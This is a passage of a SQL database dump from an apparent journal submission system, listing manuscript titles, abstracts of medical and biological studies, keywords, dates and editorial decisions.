contraceptives following unprotected sex. \r\nConclusion –the study shows that knowledge, attitude and practice towards EC were poor and very low at the University of Gondar female students of Maraki campus.\r\n',' Keywords: Attitude, Knowledge, Practice, emergency contraceptiv',3202,NULL,'2020-02-13',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3390,4437,251,0,'ipacm-20-3390','Seroprevalence of Toxoplasma gondii IgG and IgM antibodies and associated risks factors in Tuberculosis patients admitted at the Bamenda Regional Hospital, NW Cameroon ',NULL,14,0,NULL,'Background: Toxoplasmosis is a zoonotic disease with a worldwide distribution amongst warm-blooded animals and can affect anyone in contact with the parasitic oocysts or tissue cysts. Tuberculosis (TB) and T.gondii co-infection is a serious public health problem to the health of these patients in developing countries. We determined the seroprevalence of Toxoplasma gondii IgG and IgM antibodies and associated risk factors among newly diagnosed sputum positive pulmonary TB patients. Materials and methods: This was a cross sectional study including 158 TB patients. Laboratory analyses was based on quantification of anti-T.gondii IgM and IgG antibodies test using sandwich ELISA. A questionnaire captured known risk factors for toxoplasmosis among participants. Risk factors for toxoplasmosis were analysed in a binary logistic model. The results presented as odds ratios were used to assess association of toxoplasmosis and potential risk factors. A p-value < 0.05 was considered statistically significant. Result: Of the 158 participants, 87.97% [139/158] were seropositive for Toxoplasma gondii IgM and IgG antibodies. Eating cat meat [P= 0.009, OR= 4.2498, 95%CI =1.4300-11.1997] and water source [P= 0.026, OR=5.4983, CI =1.2189-23.5827], were significant risk factors associated with T. gondii infection. We noted a threefold increase in the risk of toxoplasmosis among TB patients having farming as occupation. Conclusion: The prevalence of toxoplasmosis IgM and IgG antibodies among sputum positive pulmonary TB patients in the Bamenda Regional Hospital, North West Cameroon was found to be 87.97%. The principal risk factor associated with Toxoplasma gondii among TB patients was consumption of Cat meat and untreated water sources. ',' Toxoplasmosis, Seroprevalence, IgG, IgM, tuberculosis, Cameroon ',783,NULL,'2020-02-13',NULL,'Submitted',2,NULL,'2020-02-28',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3400,4451,639,0,'ipfs-20-3400','Diversity, distribution, and relative abundance of fish species in Lake Hayq, Ethiopia',NULL,14,0,NULL,'Lake Hayq is one of the highland tropical lakes of Ethiopia that has significant ecosystem services. The study was conducted between January and December, 2018. The objective of the study was to determine the diversity, distribution, and relative abundance of commercially important fish species. Fish specimens were collected from three sites (Littoral, pelagic and Ankerkeha) of the   lake during four seasons (Pre-rainy: April-June, Rainy: July-September, Post-rainy: October-December, and Dry: January-March) using different gillnets and beach seins. The fish caught were identified in to species and their total length (TL) in cm and Total weight (TW) in g were measured immediately in the field. A total of 3 commercially important fish species, common carp (Cyprinus carpio), Nile tilapia (Oreochromis niloticus) and Catfish (Clarias gareipinus) were identified from Lake Hayq. The most dominant species were Cyprinus carpio followed by Oreochromis niloticus, and Clarias gariepinus. The fish abundance was more during dry season at Littoral site of the lake which might be associated with more food and availability of refuge for larva and juvenile fishes.  Common carp and Nile tilapia were accidentally and intentionally introduced fish species respectively. Nile tilapia were introduced in to Lake Hayq in 1970s for food security purpose whereas common carp were accidentally introduced in to the lake in 1994 through tributary river, Ankerkeha River from nearby lake, Lake Ardibo. Currently, common carp is being dominant species in Lake Hayq which might compete with Nile tilapia for food. ',' Commercially important fish species, gill nets, introduced fish, total length, total weight',1777,NULL,'2020-02-14',NULL,'Submitted',2,NULL,'2020-06-12',NULL,1,1,'0','I accept this article to publish in our journal. ',0,NULL,NULL,NULL,0,0,0,NULL,0),(3403,4457,45,0,'iphsj-20-3403','THE RELATIONSHIP BETWEEN STRATEGIC LOGIC AND PRACTICE TO DETERMINE REGULATIONS: THE CASE OF ADJUSTMENTS IN SUPPLEMENTARY HEALTH.',NULL,2,0,NULL,'This paper examined the institutional strategies adopted by ANS in relation to the readjustment of collective plans, in the face of pressure from the main actors in the field of supplementary health. The case study adopted the perspective of the coexistence of multiple logics in a context for analysis, where the prevalence of a logic depends on the pressure mobilized by the actors in the field. The research approach was descriptive and exploratory, of a qualitative nature, through interviews. The results suggest that ANS adopts evasion as a strategic response, using an escape tactic, yielding to the pressure of the most powerful actor - the health plan operators, seeking to maintain legitimacy in relation to other actors in the field.',' Logics. Institutional strategies. ANS ',468,NULL,'2020-02-15',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3409,496,45,0,'iphsj-20-3409','Human Serum Albumin (HSA) and its Applications as a Drug Delivery Vehicle',NULL,6,0,NULL,'The human serum albumin (HSA) is produced in the hepatocytes of human livers and is the most abundant protein in blood. HSA consists of one N-terminus, one C-terminus and three homologous domains, each of which has two helical subdomains. HSA enjoys  advantages such as long half-life, repeated recycling, and specific accumulation. HSA has several binding pockets where various ligands such as fatty acids, ions can bind to, providing drugs the option for  non-covalent binding sites. Meanwhile, two terminal ends of albumin and certain amino acid residues provide more choices for drug targeting. The free amino acid cysteine at the position 34 (Cys34) is located on the surface of albumin and provides a unique thiol group for drugs of interest to be covalently coupled with. The two terminal ends of albumin can be fused with peptides or proteins of interest by  molecular recombinant technology.  Importantly, HSA can  retain its binding affinity in albumin-FcRn interactions after being covalently or non-covalently coupled with various drugs. HSA can also extend the half-life of drugs, reduce  renal clearance of drugs and help accumulate drugs in specific tumor tissues. HSA provides a promising opportunity for delivering   established medications  in a new way.','human serum albumin (HSA), neonatal Fc receptor (FcRn), drug conjugate, binding site, drug delivery.',3300,NULL,'2020-02-16',NULL,'Submitted',2,NULL,'2020-05-12',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3414,4184,959,0,'ipacr-20-3414','Seminal vesicle cystadenoma presenting as a giant cystic abdominal mass case report and literature review',NULL,2,0,NULL,'Benign primary tumors including cystadenomas are the rarest tumors of the seminal vesicles. About only 22 cases of cystadenoma of the SV have been reported since 1944. The diagnosis is typically made on final pathology since clinical findings and imaging techniques are non-specific. The only curative treatment is surgical resection, either by open or laparoscopic surgery. In our work, we report the case of a giant seminal vesicle cystadenoma in a 80 years-old patient in whom the huge abdominal cystic mass was suspicious to be related to a malignant process since it presented intimate contact with pelvic structures. Pathological examination after excision of the mass has confirmed the nature of the huge mass as a benign cystadenoma of the seminal vesicle.','Cystadenoma, seminal vesicles, benign seminal vesicle tumor',3284,NULL,'2020-02-17',NULL,'Submitted',2,NULL,'2020-02-28',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3433,4493,639,0,'ipfs-20-3433','HISTOLOGICAL MORPHOLOGY OF GILL, SKIN AND LIVER OF NILE TILAPIA Oreochromis niloticus FINGERLING EXPOSED TO JATROPHA CURCAS (Linnaeus I779) SEED POWDER',NULL,14,0,NULL,'The effect of Jatropha curcas seed powder on the histopathology of selected organs of Oreochromis niloticus fingerlings was investigated.  O. niloticus fingerlings of 6.5cm-10cm in length and 14.7g-18g in weight were exposed to different concentrations of J. curcas  seed powder at 133.3mg/l, 200mg/l, 266.7mg/l, 333.3mg/l and 400mg/l. The acute toxicity of the toxicant to O. niloticus fingerlings was carried out using bioassay method under laboratory condition and the 96h LC50 was 439.23mg/l with  maximum admissible concentration of the toxicant  to be 4.3923mg/l – 43.923mg/l which is derived by multiplying the 96h LC50 with an application factor of 0.01 – 0.1. After 96hr of exposure, Histopathological changes of gill, liver and skin were observed. In the gill there was Degeneration of the gill arch, Lamellae are severely stunted, Shortened and High degeneration of gill arch, filament & lamellae and Severe submucosal congestion, secondary lamellae are absent at the highest concentration. In the skin there was Necrosis of the skin and Hypertrophy, Necrosis and erosion of dermal cell. In the liver Disorientation of the liver parenchyma structures, Hyperplasia and disorientation of hepatic cells and marked sinusoidal congestion was observed. The pattern of response of O. niloticus fingerlings at the various concentration of J. curcas seed powder varied widely at the exposure duration. The observable effect of the toxicant on the examined organs could be could serve as a baseline information needed to develop models of J. curcas seed effects on ecological systems.','  Histopahtology, Oreochromis niloticus, Jatropha curcas , Gill, Skin, and Liver\r\n\r\n',1774,NULL,'2020-02-20',NULL,'Submitted',1,NULL,'2020-06-12',NULL,1,1,'0','According to the reviewers comments reject this article.',0,NULL,NULL,NULL,0,0,0,NULL,0),(3447,4509,73,0,'ipjnn-20-3447','Acute Disseminated Encephalomyelitis presenting as Stiff-Person Syndrome in Middle-Aged Adult: Case Report',NULL,2,0,NULL,'Acute Disseminated Encephalomyelitis (ADEM) is an inflammatory demyelinating disorder seen less frequently in adults. It is a disseminated disease of the Central Nervous System and presents with a broad range of neurological signs and symptoms. We report a case of a middle-aged adult who initially presented with symptoms attributed to Stiff-Person Syndrome (SPS) but was diagnosed with ADEM based on its suggestive clinical history, neurologic exam, CSF analysis, brain imaging and response to Methylprednisolone therapy. The non-recurrence of symptoms 90 days’ post-discharge favors ADEM more as the diagnosis than the first demyelinating event of Multiple Sclerosis (MS). To date, there is no other available publication on ADEM presenting as Stiff-Person Syndrome.',' Acute Disseminated Encephalomyelitis, Stiff-Person syndrome, Neuroinflammatory diseases, Demyelinating disease',334,NULL,'2020-02-21',NULL,'Submitted',4,NULL,'2020-06-05',NULL,1,1,'0','Revision',0,NULL,NULL,2,0,0,0,NULL,0),(3456,4523,251,0,'ipacm-20-3456','Anti fungal resistance of some yeasts recovered in a group of immunocompramised  patients.',NULL,6,0,NULL,'Fungal infection are one life threatening conditions among patients on chemotherapy and those with impaired immune system due to blood malignancies like leukemias wether  lymphocytic or  myelocytic and different types of lymphomas ,multiple myelomas  and mylodysplastic syndrome or as result of intensive chemotherapy ,solid tumor and the use of immunosuppressive drugs for organ transplant patients.\r\n\r\nPatients and methods:\r\nThe study was conducted on 165 patients from  2014 to 2016 from the haematology-oncology department with immunosuppression as in leukemias,lymphomas,multiple myelomas, aplastic anemia and allogenic bone marrow transplant patients.\r\nThe samples were mostly blood ,sputum,urine ,bronchi-alveolar lavage,CSF and  wound swabs.\r\n.\r\nResults:\r\nThe commonest yeasts recovered were  Cryptococcus neoformans Candida albicans,and Geotrichum candidum ,most of those isolates yeasts showed resistance to both concentration of amphotracine B disks mostly  in cryptococcus neoformans ,this drug which represent the most available drug In the routine practice of  treatment of invasive fungal infection in those patients and as fluconazole being used in a massive way to protect from invasive fungal infections the incidence of resistant strains of various of yeasts showed a higher rate of drug resistance in vivo and in vitro as well endangering the drug  use in daily practice as a safe azole drug in daily medical practice  .',' anti-fungal  drug resistance ,fungal infections in medical city, yeasts.   \r\n',782,NULL,'2020-02-23',NULL,'Submitted',4,NULL,'2020-03-20',NULL,1,1,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3460,4532,45,0,'iphsj-20-3460','Analysis Risk Factors Incidence of Postpartum Blues in Public Health Center  of Rejang Lebong District, Bengkulu, Indonesia',NULL,14,0,NULL,'Analysis Risk Factors Incidence of Postpartum Blues in Public Health Center of Rejang Lebong District, Bengkulu, Indonesia',' Analysis Risk Factors Incidence of Postpartum Blues in Public Health Center of Rejang Lebong District, Bengkulu, Indonesia',687,NULL,'2020-02-24',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3461,4533,45,0,'iphsj-20-3461','A Case control study of risk factors associated with HCV infection among adults in Damietta Governorate, Egypt',NULL,14,0,NULL,'Background: Hepatitis C virus (HCV) is a major cause of cirrhosis, liver cancer, and mortality worldwide. Egypt has the highest burden of Hepatitis C in the world. HCV prevalence is directly related to the prevalence of persons who routinely share injection equipment and to the prevalence of unsafe parenteral practices in health care settings.\r\nThe aim of the study was to identify risk factors associated with HCV infection among adults.\r\nSubject and methods: a case control study nested from a household survey that was conducted to screen for hepatitis B virus and hepatitis C virus conducted in Damietta Governorate, Egypt.150 Cases and control were randomly selected from those showed positive HCV (278) and 300 controls were randomly selected from those showed negative HCV (2699).\r\nResults: participants were aged between 20 and 67 years (mean 42.0 +10.6 years). the study revealed significant difference between case and control group regarding age, residence, education level and marital status (P = 0.001). case-patients were more likely than controls to have exposure to dental procedure, previous stitches, surgical operation schistosomiasis injection treatment, blood transfusion and intravenous(IV) fluid intake were significantly associated with HCV infection (P < 0.05). Also unsafe community practices (cupping, acupuncture, shared shaving razor, traditional cauterization, needle or sharp stick and tattooing) were significantly different between HCV-infected patients and controls (P < 0.01).\r\nIn multivariable analysis, marital status and rural residence and history of stitches, intravenous fluid, dental procedure, renal dialysis, sharing shaving razor, acupuncture, needle or sharp stick and cupping. were associated with higher odds of having HCV.\r\nConclusion: The results of this study showed that, exposure to unsafe medical procedures and social practices were risk factors of HCV infection in Egypt.','risk, factors, case, control, HCV infection, Egypt',643,NULL,'2020-02-24',NULL,'Submitted',4,NULL,'2020-05-12',NULL,1,1,'0','Accepted',0,NULL,NULL,2,0,0,0,NULL,0),(3467,4540,73,0,'ipjnn-20-3467','Monocular Pendular Nystagmus in a Patient with a Dolichoectatic Basilar Artery',NULL,2,0,NULL,'We present the case of a patient with the symptom of oscillopsia for the past six months.The neurological examination revealed a monocular horizontal pendular nystagmus in the left eye, present in all directions of gaze,while the remainder of neurological examination was normal.  MRI brain scan revealed a dolichoectatic basilar artery causing a mild compression to the left part of the pontomedullary junction.',' monocular nystagmus; dolichoectatic basilar artery',351,NULL,'2020-02-24',NULL,'Submitted',4,NULL,'2020-06-05',NULL,1,1,'0','please revise the manuscript before publishing.',0,NULL,NULL,2,0,0,0,NULL,0),(3479,4554,45,0,'iphsj-20-3479','Ethics and social networking : a double-edged conception to Health Care Professionals',NULL,14,0,NULL,'Social Networking (SN) concerns continue to be the cause of dilemma for Health Care Professionals (HCPs) when treating patients remotely. This study aims to assess the multi sectorial physicians’ behaviour when using SN. It identifies their awareness when dealing with patients and outweighs communication related breach. A cross-sectional study using an online self-reported Knowledge-Attitude and Practice (KAP) questionnaire was conducted on 12398 registered physicians from 80 different specialties working in Lebanon. A customised web-analytic method was used to collect and analyse data. The association between variables was performed using chi2 Test. Out of 850 respondents 74.4% were SN users. The study revealed that pediatricians, obstetricians/ gynaecologists, general practitioners and cardiologists were among the heavy users of these channels. WhatsApp was the most used channel. HCPs were found to have various ethical concerns regarding principles of autonomy, loyalty, and justice in their communications. This practice leads to exerting paternalism and omitting safety measures which might affect patient’s quality of life. Enhancing safe use of SN limits negative consequences and improves ethical conduct. Physicians at academic institutions are recommended to set management policies on safe behavioural conduct regarding e-communication and to integrate modernized principles of ethics in curricula for the younger generation. ',' social networking, ethics, patient, e-communication, health care professionals, ',686,NULL,'2020-02-26',NULL,'Submitted',4,NULL,'2020-05-12',NULL,1,1,'0','Accepted',0,NULL,NULL,2,0,0,0,NULL,0),(3481,4014,86,0,'ipaom-20-3481','Frequency of Gastro-esophageal reflux symptoms in healthy children determined by MM GERD Questionnaire in Mexico. An exploratory study.',NULL,14,0,NULL,'Abstract:\r\nBackground. GERD is a common disorder in children representing an important cause of consultation. Questionnaires have been proposed as a useful tools for primary care medicine but also as a cost effective option. However, it’s use still controversial in paediatric population. In this exploratory study, we have used the MM GERD Questionnaire in 2 elementary schools. Objective: An exploratory study to evaluate the MM GERD questionnaire in children of 5-17 years old of 2 elementary schools in Mexico City. Methods: A prospective, descriptive exploratory study including male and female children 5-17 years in which parents or tutors accept and sign ICF and willing to answer the 4 scale multi-dimensional GERD  scale symptom (10 items), pain intensity scale (3 items); disability scale (3 items) and satisfaction scale (2 items).Results: A total of 223 children were included with 123 male and 99 female with mean age of 8.64 ± 2.7, weight 32.94 ±  14.17 kg, height 1.30 ±  0.17 mt and BMI of 18.67 ±  4.9. There was a good construct validity among 4 scales measured with Pearson coefficient. The inter-item consistency (Cronbach’s co-efficient alpha) for the symptoms items, pain intensity items, disability items and satisfaction items were 0.41, 0.78, 0.87 and 0.4, respectively, demonstrating adequate reliability of the measure. Conclusion. MM GERD is a not a reliable questionnaire to explore the presence of upper gastrointestinal symptoms in healthy children from 5-17 years old. Thus several limitations, it is necessary to assess language, methodological and clinical validation of MM GERD to extrapolate this results into clinical practice.','Keywords: GERD, MM GERD, children, upper gastrointestinal symptoms',2890,NULL,'2020-02-26',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3484,4560,326,0,'IPJUS-20-3484','A Pilot Study to identify hematological markers in the failure of arterio-venous fistulas for hemodialysis in end stage renal disease',NULL,14,0,NULL,'Introduction: Arteriovenous fistulas (AVFs) may be radio-cephalic, brachio-cephalic or brachio-basilic, however  a radio-cephalic access is preferred for patients with end stage renal disease requiring hemodialysis. After their creation, the minimum time for AVF maturation is around two months. Primary AVF failure is defined as an AV fistula that is never usable or fails within the first three months of its use. There are several observations that indicate the role of inflammation in failure of AVF. Elevated CRP has been observed to be associated with early fistula failure and our study purported to correlate the same.\r\n\r\nMethodology: In this pilot study, 50 patients of end stage renal disease (ESRD) over 18 years of age, after fulfilling inclusion and exclusion criteria, underwent the creation of a radio-cephalic AVF. All patients had pre-operative values of CRP, hemoglobin and albumin estimated, which were repeated again on post operative day 2. All patients were followed for three months to assess for primary failure of fistula.\r\n\r\nResults: Out of the 50 patients included in the study, six patients were lost to follow up. The mean age of the patients was 41.48 +-13.46 years. 31.8% (14 patients) developed primary failure of the AVF. No significant correlation was identified between primary failure of AVF and the pre-operative hemoglobin and albumin levels. While a pre-operative CRP level > 1mg/dl did not show a significant correlation with failure of AVF, 71.4% of failed fistulas showed CRP levels > 5.4mg/dl (p = 0.025, Sn : 71.43%, Sp : 66.7%). Number of dialysis per week through other sites, and comorbidities like hypertension and diabetes mellitus did not show any significant association with primary failure of AVF.\r\n\r\nConclusion: Pre-operative CRP levels > 5.4 mg/dl can predict the primary failure of AVF with a sensitivity of 71.43% and specificity of 66.7%. However further studies are required to validate the same.','End Stage Renal Disease, Renal Replacement Therapy, Arterio Venous Fistula, Neointimal hyperplasia, C-Reactive Protein',2505,NULL,'2020-02-27',NULL,'Submitted',2,NULL,'2020-04-16',NULL,1,1,'0','This article is accepted.',0,NULL,NULL,NULL,0,0,0,NULL,0),(3486,4563,971,0,'ipaclr-20-3486','CASE REPORT ON LIVE CERVICAL ECTOPIC PREGNANCY',NULL,2,0,NULL,'We report a case of live cervical ectopic pregnancy (CEP) at  6 weeks gestation. A 36-year-old nulliparous who presented with mild bleeding per vagina. She was haemodynamically stable with a serum B-hCG of 10713. A transvaginal ultrasound scan showed an empty uterus and live cervical ectopic pregnancy with a fetal pole measuring 7.1mm and yolk sac with negative sliding sign. She was counselled on options of management and had hysteroscopy and surgical evacuation under ultrasound guidance with no complications and post-operative methotrexate injection. She had a significant drop in her serial B-hCG and urine pregnancy test 3 weeks after surgery was negative.','LIVE CERVICAL ECTOPIC PREGNANCY.',3249,NULL,'2020-02-28',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3488,4565,45,0,'iphsj-20-3488','Determinants of Chronic Liver Diseases among adult patients attending Gastroenterology clinic of Ayder Comprehensive Specialized Hospital, Mekelle, Ethiopia,2019.  ',NULL,14,0,NULL,'Abstract \r\nBackground: Chronic liver diseases are worldwide problems especially in the developing world. In Ethiopia, almost one-third of mortality in medical wards was due to chronic liver diseases. There is a paucity of data about determinant factors in Ethiopia, particularly in the study area. This study aimed to assess determinant factors of chronic liver diseases among patients attended in the Gastroenterology unit of Ayder comprehensive specialized hospital in Mekelle, Ethiopia, 2019.\r\nMethods: An unmatched case-control study was conducted to include 281 participants using the Pre-tested interviewer-administered questionnaire and chart review checklist systematically. Data were entered into Epi-data version 3.1 and analyzed using SPSS 20.0. Logistic regression analysis was used to assess determinant factors. Degree of the association was interpreted using the Adjusted odds ratio with 95% CI and P-value <0.05 \r\nResults: The mean (SD) age of the study participants were 41+ 13years for cases and 40+ 15 years for controls. The majority, 77(81.9%) of cases and 115(61.5%) of controls were males. Fifty-two (55.3%) of cases and 118(63.1%) of controls were from urban residence; 37(39.4%) of cases and 53(28.3%) of controls were farmers. There was significant association between alcohol consumption (AOR:2.8; 95%CI (1.1, 7.0)), herbal medication use (AOR:14;95%CI (5.2, 42)), parenteral medication use [AOR: 8.7;95%CI (3.0, 24.8)] and being Hepatitis B virus-positive (AOR:12;95%CI (3.0-49)) with Chronic liver diseases. \r\nConclusions: Alcohol consumption, herbal medication use, positive serum hepatitis B(HBV) and parenteral medication use were determinant factors of chronic liver diseases\r\n',' Chronic liver disease, determinant factors, Gastroenterology, Mekelle, Ethiopia ',685,NULL,'2020-02-28',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Acepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3489,4566,45,0,'iphsj-20-3489','Work satisfaction and nursing management: a quantitative study',NULL,14,0,NULL,'\r\nBackground: Nursing professionals develop their assistance activities in a demanding and stressing environment. The management of these teams has a direct effect on the work environment, the job satisfaction of the staff and on the care provided to the patients. \r\nObjectives: The general objective is the analysis of the work satisfaction of the nursing managers. The specific Objectives are the analysis of the factors that influence in the nursing management levels according to the staff and the analysis of the nursing management influence over the work satisfaction of the assistance staff according to the assistance staff. \r\nDesign: Using a quantitative, descriptive and transversal design, the job satisfaction of nursing managers and nursing assistance professionals are studied.\r\nSettings: This study will be developed in the wards or in the respective offices during working hours. \r\nParticipants: Managers and nursing staff working in 5 key hospitals in the Madrid Community Area (Hospital de Vallecas, Hospital de Arganda, Hospital Ramón y Cajal, Hospital Puerta de Hierro and San Carlos Clinical Hospital) in Spain. \r\nMethods: The evaluation procedure of the satisfaction of the workers will be the responses to a validated quantitative questionnaire with a 1-7 Likert scale. This method will be the same for all the subjects. \r\nResults: The study between men and women nursing professionals, no statistical significance was found. (t = 1,657 p> 0.05)., nor there were significant differences between the management professionals according to gender (t = p> 0.05). After a factor 1 ANOVA analysis, no differences were found between managers and the type of hospital where they work. When analyzing the differences between the managers according to the position that each of them performs there was a statistical significance, rating the nursing managers higher levels of job satisfaction than the nursing supervisors. (t =, 67909 p <0.01).',' Job satisfaction, manager, nursing, quality, work environment, ',686,NULL,'2020-02-28',NULL,'Submitted',2,NULL,'2020-05-12',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3491,4568,959,0,NULL,'Contribution of thyroid scintigraphy and SPECT CT imaging in the diagnosis of dual ectopic thyroid. A case report.',NULL,2,0,NULL,'Thyroid ectopia is a rare condition associated with a failure of thyroid gland migration during embryonic development. It may be asymptomatic or manifest as clinical or biological hypothyroidism. We report the case of a girl of 9 years, with no notable family history whose diagnosis of a dual ectopic thyroid was confirmed after the SPECT /CT scan imaging. The clinical examination found a girl in good condition, a weight of 15kg (-3SD) and a height of 114 cm (-3SD). The physical examination and the cervical ultrasound did not found thyroid tissue in the thyroid lodge. The diagnosis CT scan concluded that there was no thyroid in the normal position with doubt about the presence of thyroid tissue in upper cervical position on the left peri-laryngeal region. Thyroid scintigraphy showed an ectopic thyroid tissue in a high cervical position, with a fairly intense uptake but without the possibility of localization. Complement with SPECT /CT was performed and allowed the diagnosis of a dual ectopic thyroid tissue on basilingual and left peri-laryngeal position. This case testifies the superiority of SPECT CT imaging in the exploration of thyroid ectopia.',' Thyroid ectopia, Ultrasound, CT scan, Thyroid Scintigraphy, SPECT CT.',2795,NULL,'2020-02-28',NULL,'Submitted',4,NULL,'2020-03-06',NULL,1,0,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3495,4574,326,0,'IPJUS-20-3495',' Treatment of Full-Thickness, Lower-Extremity Soft Tissue Necrosis Caused By Traumatic Hematomas in Anti-Coagulated elderly Patients.',NULL,15,0,NULL,'Common disorders such as chronic atrial fibrillation, venous thromboembolism, peripheral vascular disease, cardiomyopathy, recurrent transient ischemic attacks and ischemic cerebrovascular accidents often require treatment with anticoagulants and antiplatelet therapy. Unfortunately, hemorrhagic complications of anticoagulant therapy are frequent and debilitating. Low impact and minor blunt trauma to the lower extremities sustained by patients treated with anticoagulation therapy might result in the development of substantial subcutaneous tissue hematomas. As the hematoma expands, pressure within may exceed the perfusion pressure of the dermal and subdermal capillaries leading to devascularization of the overlying skin and adjacent subcutaneous tissue. This can result in full-thickness necrosis of the skin and subcutaneous tissue leading to the development of very complex wounds that is difficult to manage, particularly in a chronically debilitated elderly patient with multiple concomitant medical comorbidities. We would like to present retrospective review of treatment protocol that we use in our department and review other treatment possibilities presented in the literature regarding elderly patients who have suffered from such kind of complication in the lower limb due to different kind of anticoagulant and antiplatelet therapies. ',' Skin necrosis, Traumatic Hematomas, complications of anticoagulant therapy, Lower leg hematoma, and Vacuum assisted closure.',2505,NULL,'2020-02-29',NULL,'Submitted',4,NULL,'2020-06-03',NULL,1,1,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3498,4576,45,0,'iphsj-20-3498','Prevalence of intentional interpersonal physical violence injury and its predicting factors at South Ari district, South omo zone, Southern Ethiopia. Health facility based cross-sectional study',NULL,14,2,NULL,'Background: According to World Health Organization’s 2014 report, the global overall rate of interpersonal conflicts’ physical injury was 6.7 per 100,000 populations. Low and middle income regions of African region are the most affected, with a rate of 10.7 per 100 000 population. In Ethiopia, particularly in South Ari district, research evidence on interpersonal physical violence injury was limited. Therefore, this study tried to fill the scarce on evidence based scientific determination about the status and risk factors of this neglected public health problem at the district.\r\nObjective: To assess the magnitude and risk factors of intentional inter personal physical violence injury in South Ari district, South Omo zone, Southern Ethiopia.\r\nMethods: Health facility based cross sectional study was conducted in South Ari district from January to April 2018. Amharic version pre-tested structured interview questionnaire was used.  Eight diploma holder nurses and two degree holder public health professionals collected the data. All health centers (n=09) in the district were included in this study and all individuals with trauma who visited to the emergency department of these health centers during the study period were interviewed. Data were entered and cleaned in Epi-Info software, and then exported to SPSS. Then, descriptive statistics, binary logistic regression with 95% Confidence Intervals (C.I.) and a p-value of 0.05 were computed to determine statistical significant between factors and outcome.\r\nResults: The magnitude of intentional interpersonal physical violence related injury was found to be 42.2% (n=167). Land-Ownership conflict (AOR=2.18; 95%CI, 1.32-3.58), low socio-economic status (AOR=1.73; 95%CI, 1.08-2.92), neglected parenting practice (AOR=7.97; 95%CI, 4.77-13.34) and alcohol influence (AOR=3.39; 95%CI, 2.05-5.61) were found to be a significant predictors (p-value <0.05) for intentional interpersonal physical violence related injury. \r\nConclusion: In this study, the magnitude of intentional interpersonal physical violence related injury was considerably high (42.2%), which was associated with land-ownership conflict, low socio-economic status, neglected parenting practice of children and alcohol influence. Therefore, community level awareness about the causes and consequences of intentional interpersonal physical violence should be created.\r\n',' Inter personal physical Violence, trauma, South Ari district',685,NULL,'2020-03-01',NULL,'Submitted',14,NULL,'2023-03-01',NULL,1,1,'0','great',0,NULL,NULL,NULL,0,4,0,NULL,0),(3504,4581,326,0,'IPJUS-20-3504','Mesenteric Meckel’s diverticulitis perforation with pneumoperitoneum and faeculant peritonitis',NULL,2,0,NULL,'The mesenteric Meckel’s diverticulum (MD) has remained a rare finding since its first sighting in 1941. Its diagnosis as an MD has also been debated given its non-antimesenteric location yet possession of other features similar to the traditional MD. In this case, we re-visit the clinical and histological features of this phenomenon, and discuss a severe acute presentation of this pathology never described before. A usually well 43-year-old male was septic with pneumoperitoneum and faeculant peritonitis. Emergency laparotomy revealed a mesenteric Meckel’s diverticulitis with perforation. It is imperative for surgeons to recognise the existence of mesenteric MDs to avoid missing a potentially life-threatening pathology.','Mesenteric Meckel’s diverticulum; Meckel’s diverticulum; diverticulitis; peritonitis; acute abdomen',2505,NULL,'2020-03-02',NULL,'Submitted',2,NULL,'2020-04-07',NULL,1,1,'0','This manuscript is accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3505,4581,326,0,'IPJUS-20-3505','Recurrent small bowel obstruction in a virgin abdomen: A rare sight and review of current practices',NULL,2,0,NULL,'Practices are shifting towards non-operative management of small bowel obstruction in the virgin abdomen. In this case, we discuss the clinical reasoning in context of the evolving literature for management of this uncommon general surgical presentation. A 54-year-old male presented with recurrent episodes of small bowel obstruction without previous history of abdominal surgery that was managed non-operatively. On his third hospital presentation, he underwent an exploratory laparotomy which revealed extensive small bowel adhesions of an unusual appearance. This highlights the importance of tailored treatment in the era of modern medicine.','Small bowel obstruction; virgin abdomen; non-operative management; operative management; adhesions',2505,NULL,'2020-03-02',NULL,'Submitted',2,NULL,'2020-04-07',NULL,1,1,'0','this article is accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3509,4584,45,0,'iphsj-20-3509','LEVEL OF PAIN AND PHYSICAL FUNCTION OF PATIENTS WITH KNEE OSTEOARTHRITIS RECEIVING PHYSIOTHERAPY WITH AND WITHOUT INTRA- ARTICULAR INJECTION IN PAKISTAN: A QUSAI EXPERIMENTAL STUDY',NULL,14,0,NULL,'Background/objectives: Few Investigations include a comparison of a conservative approach in the effectiveness of treatment for OA of the knee. Advantageous interventions may reduce the disability associated with OA of knee and need for more invasive treatment. The objective of the current study was to determine and compare the level of pain and physical function of patients with knee osteoartthritis receiving physiotherapy with and without intra articular injections in Lahore, Pakistan. \r\nMaterial and Method: This experimental study conducted among knee OA patients of orthopedic clinics, physiotherapy and rehabilitation centers of Pakistan. 44 patients participated in the study. Patients of knee OA were equally divided into two groups A and B for the treatment of physiotherapy and a combination of physiotherapy plus intra articular injection respectively. Before treatment patients, physical functioning and pain score was measured by WOMAC and VAS scale. The intervention was applied according to given protocols. After treatment of 8 weeks, physical function and pain score was measured again by WOMAC and VAS scale to compare the result of both treatments. \r\nResult: The Improvement in VAS score in Group A was 2.81±1 and in Group B was 3.4±0.69 whereas improvement in WOMAC score in Groups A was 13.23±8.29 and in Group B was 19.14±5.92. P value calculated through independent sample t-test (0.02 & <0.009) show that there is a significant difference in the improvement level in both groups and improvement in Group B is significantly better than in Group A.\r\nConclusion: Patients in both groups showed 